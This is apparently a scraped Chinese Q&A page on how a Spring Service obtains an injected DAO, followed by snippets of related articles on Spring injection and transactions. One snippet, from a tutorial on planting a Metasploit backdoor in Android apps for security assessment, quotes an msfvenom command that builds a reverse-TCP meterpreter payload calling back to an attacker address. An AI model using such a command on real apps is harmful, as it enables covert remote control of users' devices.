spring-使用Spring在Service中注入了Dao的对象,在Service中怎么获取Dao的对象

问题描述

使用Spring在Service中注入了Dao的对象,在Service中怎么获取Dao的对象

使用Spring在Service中注入了Dao的对象,然后在Service中需要使用Dao对象的话,可以用ApplicationContext的getBean方法,我这边看的一个程序没有用ApplicationContext,而是在Service中对Dao对象进行了声明,然后定义了Dao对象的set和get方法,这样也可以吗,还是说这个程序我没有看明白,希望有明白的可以给解释一下,另希望有大神可以带带,或者有正在学java的一块做个伴,多交流交流

解决方案

DAO与Service
向service.Impl注入DAO
获取spring注入的service对象

解决方案二:

不要纠结于这些东西,这两个方法都是可以的,但是在真正开发的时候,大多都是用注解的。

解决方案三:

两个方法都是可以的,但是在真正开发的时候,大多都是用注解的

时间: 2024-04-28 17:44:07

spring-使用Spring在Service中注入了Dao的对象,在Service中怎么获取Dao的对象的相关文章

实用教程:手动安卓应用中注入msf后门

本文讲的是实用教程:手动安卓应用中注入msf后门,在移动安全评估中,我们尝试将一些常用的应用程序加载上后门,并且加上后门之后应用程序毫无异常.这就可以用来证明如果使用的应用程序被种上后门,使用者会毫无知觉. 步骤一:生成攻击载荷 metasploit中的msfvenom可以生成多种类型的攻击载荷,当然我们也可以使用它来生成一个包含msf后门的apk. 使用如下命令: msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.169 L

spring 在Thread中注入@Resource失败,总为null的解决方案

@Resource private MyMapper myDao; 但是运行的时候,进入到这个线程,这个myDao总为null,也就是注入失败. 运行项目将会发现NullPointerException,也就是说SelectDataService的实例没有被注入到变量selectDataService中.那么,这是什么原因呢?首先来看看配置文件.  下面是web.xml: <context-param> <param-name>contextConfigLocation</p

spring事务回滚只能配在service层吗。为什么我想在Test中添加事务不能进行回滚呢

问题描述 spring事务回滚只能配在service层吗.为什么我想在Test中添加事务不能进行回滚呢 <tx:advice id="txAdvice2" transaction-manager="txManager"> <tx:attributes> <tx:method name="inserttwo*" propagation="REQUIRED"/> </tx:attribut

Spring怎样向enum类型中注入值

问题描述 Spring怎样向enum类型中注入值 public enum Task { GOODS1(1600, 0.025), GOODS2(400, 0.11); private double a; private double b; private Task(double a, double b) { this.a = a; this.b = b; } public double getA() { return a; } public void setA(double a) {this.a

请教下关于SSH框架中@Repository/@Service/@Controller注入的问题!

问题描述 各位大大,请问个问题:我在持久层.业务层和控制层中分别使用@Repository/@Service/@Controller这样意义和直接全部使用@Component有什么区别呢? 问题补充:myali88 写道 解决方案 兄弟 那说明我刚才给你说的那个配置 应该是没问题的 这个问题应该是解决了的.解决方案二:我刚才之所以让你 前面加个resource这个东西 是因为你说是同目录,后来发觉肯定是你们头把这个目录和src目录都可以被映射成同一级 相对目录,所以让你改成这样.应该没问题了.解

Spring的控制反转和依赖注入

Spring的官网:https://spring.io/  Struts与Hibernate可以做什么事? Struts, Mvc中控制层解决方案 可以进行请求数据自动封装.类型转换.文件上传.效验- Hibernate, 持久层的解决方案: 可以做到, 把对象保存到数据库, 从数据库中取出的是对象. 传统的开发模式 基于mvc模式进行项目开发: 基于mvc的项目框架结构: Entity / dao / service / action 为什么引入Spring:  思考:     1. 对象创建

spring.net如何给母版页master注入属性

问题描述 如题,spring.net如何给母版页master注入属性<objectname="MasterPage"abstract="true"><propertyname="MasterPageFile"value="~/home.master"></property></object><objecttype="Default.aspx"parent

【Spring实战】—— 5 设值注入

本篇主要讲解了Spring的最常用的功能--依赖注入. 注入的方式,是使用Getter Setter注入,平时大多的编程也都是使用这种方法. 举个简单的例子,还是表演者. 表演者有自己的属性,年龄或者表演的歌曲等等.还需要一些复杂的属性,比如乐器,每一种乐器会发出不同的声音. 下面看一下表演者Performer package com.spring.test.action1; public interface Performer { void perform() throws Performan

spring事务-spring如何在只读事务中提交数据

问题描述 spring如何在只读事务中提交数据 现在有个需求,我现在要去查询一个对象,如果这个对象不存在在,就初始创建一个,但这个查询是只读事务,没办法提交.有什么解决方案? 一种方法就是将这个查询方法加读写事务,这个不是我希望的,因为这个方法大部分时候都是查询的.大家有什么解决方案可以在只读事务中转换为读写事务? 解决方案 只读事务中创建不合适.是不是可以在只读事务中通过消息等方式发送给读写事务进行数据添加. 关键添加后的数据是否在只读事务中要使用.如果需要使用那就得吧只读事务改成读写事务了.